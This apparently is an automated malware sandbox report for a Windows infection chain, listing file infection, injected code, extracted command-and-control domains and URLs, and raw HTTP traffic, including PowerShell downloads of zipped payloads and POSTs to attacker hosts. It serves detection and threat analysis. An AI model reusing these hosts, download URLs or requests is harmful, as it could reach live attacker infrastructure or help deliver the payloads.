Source: Binary string: c:\p4builds\Products\GoToMeeting\v5.4_builds\output\G2M_Exe.pdb source: powershell.exe, 00000020.00000002.2624078104.0000020A687F0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000020.00000002.2624078104.0000020A687AD000.00000004.00000800.00020000.00000000.sdmp, vm.exe, 00000025.00000000.2595768222.0000000000402000.00000002.00000001.01000000.00000016.sdmp, vm.exe, 00000025.00000002.3739220721.0000000000402000.00000002.00000001.01000000.00000016.sdmp, lm.exe, 00000026.00000000.2596792457.0000000000402000.00000002.00000001.01000000.00000017.sdmp, lm.exe, 00000026.00000002.2884350710.0000000000402000.00000002.00000001.01000000.00000017.sdmp, vm.exe, 0000002B.00000002.2871363883.0000000000402000.00000002.00000001.01000000.00000016.sdmp, vm.exe, 0000002B.00000000.2753936670.0000000000402000.00000002.00000001.01000000.00000016.sdmp, lm.exe.32.dr

Spreading
barindex
Infects executable files (exe, dll, sys, html)
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe System file written: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe System file written: C:\Program Files\7-Zip\Uninstall.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe System file written: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose, 5_2_00BA29E2
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 17_2_00EE29E2 memset,wsprintfA,memset,lstrlen,lstrcpyn,strrchr,lstrcmpiA,lstrlen,memset,memset,FindFirstFileA,memset,FindNextFileA,lstrcmpiA,FindNextFileA,FindClose, 17_2_00EE29E2
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe Code function: 5_2_00BA2B8C memset,GetLogicalDriveStringsA,CreateThread,GetDriveTypeA,CreateThread,lstrlen,WaitForMultipleObjects,CreateThread, 5_2_00BA2B8C
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\UIThemes\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\dc-desktop-app-dropin\1.0.0_1.0.0\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\app1\ Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\IXDaI.exe File opened: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\ Jump to behavior
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp+54h] 31_2_02EC72DD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 31_2_02EC72DD
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [edi+0Ch] 31_2_02EB3260
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp+50h] 31_2_02EC91C0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp+54h] 31_2_02EC7189
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 31_2_02EC7189
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp] 31_2_02EE7E80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 31_2_02EC2E51
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+00000820h] 31_2_02ED6F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esi+1Ch] 31_2_02ED6F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 31_2_02ED6F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+50h] 31_2_02ED6F80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then push eax 31_2_02EE3CD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edx, dword ptr [esp+30h] 31_2_02EBFCB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edx, dword ptr [esp+00000200h] 31_2_02EBFCB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp+10h] 31_2_02EC6CB0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 31_2_02EEA479
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edx, dword ptr [esp] 31_2_02EE9C20
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esp+70h] 31_2_02EC7DEB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp word ptr [esi+eax+02h], 0000h 31_2_02EC7DEB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp word ptr [eax+ebx+02h], 0000h 31_2_02EC82CB
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movzx edi, byte ptr [ecx+esi] 31_2_02EB3A80
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov word ptr [edx], 0000h 31_2_02EC3A2A
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then lea ebp, dword ptr [esp+03h] 31_2_02ED6210
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edx, dword ptr [esi+08h] 31_2_02EC43E5
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp dword ptr [eax+edi*8], 11081610h 31_2_02ED4BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [02EF4A9Ch] 31_2_02ED4BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movzx ebx, byte ptr [edx] 31_2_02EE1BF0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp dword ptr [edi+esi*8], 11081610h 31_2_02ED33B6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 31_2_02ECB360
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 31_2_02EEB350
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 31_2_02EEB350
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 31_2_02EEB350
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+10h] 31_2_02EC30F6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp byte ptr [ecx], 00000000h 31_2_02EC30F6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ebx, eax 31_2_02EB38D0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp dword ptr [ebx+edx*8], 00D23749h 31_2_02ECE086
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 31_2_02ECE086
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esp] 31_2_02EE8880
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov word ptr [ecx], ax 31_2_02EC5871
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 31_2_02EEB840
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 31_2_02EEB840
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 31_2_02EBA000
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp word ptr [ebx+ebp+02h], 0000h 31_2_02ECD810
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [02EF4970h] 31_2_02ED41A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movzx edx, word ptr [ebx+eax*4] 31_2_02EB8960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp] 31_2_02EB8960
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 31_2_02EEB160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 31_2_02EEB160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 31_2_02EEB160
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp word ptr [ecx+eax+02h], 0000h 31_2_02ECB920
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esp+04h] 31_2_02ECB920
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+08h] 31_2_02EC1937
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ecx, dword ptr [esp+10h] 31_2_02EC6EF8
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then inc ebx 31_2_02EC66B0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 31_2_02EC4E68
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp byte ptr [ebx], 00000000h 31_2_02EC4E68
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+04h] 31_2_02EC4E68
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 31_2_02EC3678
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp dword ptr [edi+esi*8], 11081610h 31_2_02ED37B6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov al, 01h 31_2_02EEA706
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 31_2_02EEB700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 31_2_02EEB700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 31_2_02EEB700
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movzx ecx, word ptr [esi+eax] 31_2_02EE6710
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movsx eax, byte ptr [esi+ecx] 31_2_02EBE450
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 31_2_02ECEC06
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov eax, dword ptr [esi+10h] 31_2_02EC3DE6
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov ebx, dword ptr [edi+04h] 31_2_02ED65F0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then movzx edx, byte ptr [esi+edi] 31_2_02EB2DD0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp ecx 31_2_02EEB5A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then mov edi, eax 31_2_02EEB5A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then jmp eax 31_2_02EEB5A0
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe Code function: 4x nop then cmp byte ptr [ecx], 00000000h 31_2_02EC1D52

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Network Connect: 77.221.157.163 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 107.173.160.139 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 107.173.160.137 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 211.168.53.110 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 162.0.235.84 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 64.190.113.113 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 127.0.0.127 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 189.165.133.52 80 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 167.235.128.153 443 Jump to behavior
Source: C:\Windows\explorer.exe Network Connect: 185.149.100.242 443 Jump to behavior
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: indexterityszcoxp.shop
Source: Malware configuration extractor URLs: lariatedzugspd.shop
Source: Malware configuration extractor URLs: callosallsaospz.shop
Source: Malware configuration extractor URLs: outpointsozp.shop
Source: Malware configuration extractor URLs: liernessfornicsa.shop
Source: Malware configuration extractor URLs: upknittsoappz.shop
Source: Malware configuration extractor URLs: shepherdlyopzc.shop
Source: Malware configuration extractor URLs: unseaffarignsk.shop
Source: Malware configuration extractor URLs: http://evilos.cc/tmp/index.php
Source: Malware configuration extractor URLs: http://gebeus.ru/tmp/index.php
Source: Malware configuration extractor URLs: http://office-techs.biz/tmp/index.php
Source: Malware configuration extractor URLs: http://cx5519.com/tmp/index.php
Connects to a pastebin service (likely for C&C)
Source: unknown DNS query: name: rentry.co
Uses known network protocols on non-standard ports
Source: unknown Network traffic detected: HTTP traffic on port 49703 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49711 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49712 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49713 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49715 -> 799
Source: unknown Network traffic detected: HTTP traffic on port 49716 -> 799
Connects to several IPs in different countries
Source: unknown Network traffic detected: IP country count 11
Detected TCP or UDP traffic on non-standard ports
Source: global traffic TCP traffic: 192.168.2.10:49703 -> 44.221.84.105:799
Source: global traffic TCP traffic: 192.168.2.10:49784 -> 193.222.96.24:4449
Source: global traffic TCP traffic: 192.168.2.10:49821 -> 94.156.79.190:4449
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 24 Jul 2024 17:56:24 GMTServer: ApacheLast-Modified: Mon, 22 Jul 2024 19:29:34 GMTETag: "f1600-61ddb109e6b16"Accept-Ranges: bytesContent-Length: 988672Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 64 86 05 00 6c 5a 41 03 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 00 00 00 c0 08 00 00 5c 06 00 00 00 00 00 c0 5a 00 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 0f 00 00 04 00 00 00 00 00 00 03 00 60 81 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 78 10 0f 00 44 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 0f 00 58 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 00 c0 08 00 00 10 00 00 00 c0 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 00 50 06 00 00 d0 08 00 00 4c 06 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 00 30 00 00 00 20 0f 00 00 02 00 00 00 10 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 43 52 54 00 00 00 00 00 10 00 00 00 50 0f 00 00 02 00 00 00 12 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 58 00 00 00 00 60 0f 00 00 02 00 00 00 14 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 77.221.157.163 77.221.157.163
Source: Joe Sandbox View IP Address: 107.173.160.139 107.173.160.139
Source: Joe Sandbox View IP Address: 107.173.160.137 107.173.160.137
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: INFOBOX-ASInfoboxruAutonomousSystemRU INFOBOX-ASInfoboxruAutonomousSystemRU
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: AS-COLOCROSSINGUS AS-COLOCROSSINGUS
Source: Joe Sandbox View ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View ASN Name: LGDACOMLGDACOMCorporationKR LGDACOMLGDACOMCorporationKR
JA3 SSL client fingerprint seen in connection with other malware
Source: Joe Sandbox View JA3 fingerprint: a6c95ef2da5b759f65c60665167952ee
Source: Joe Sandbox View JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /wp-content/images/pic1.jpg HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: mussangroup.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 7627
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 139784
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1143
Source: global traffic HTTP traffic detected: GET /setups.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like GeckoHost: funrecipebooks.com
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1143
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: GET /microgods/raw HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-CH) WindowsPowerShell/5.1.19041.1682Host: rentry.coConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12842Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15069Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
Source: global traffic HTTP traffic detected: GET /download/direct/6b24ec97-2a8d-468d-a24d-c8081cda1dab/vm.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: store4.gofile.ioConnection: Keep-Alive
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20431Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.139User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1225Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 167.235.128.153User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1122
Source: global traffic HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 551715Host: callosallsaospz.shop
Source: global traffic HTTP traffic detected: GET /download/direct/0656c5cf-51b4-4fa4-ae48-8ee5ed3d142e/lm.zip HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: store4.gofile.io
Source: global traffic HTTP traffic detected: POST / HTTP/1.1Host: 107.173.160.137User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Connection: closeContent-Type: text/plainContent-Length: 1267
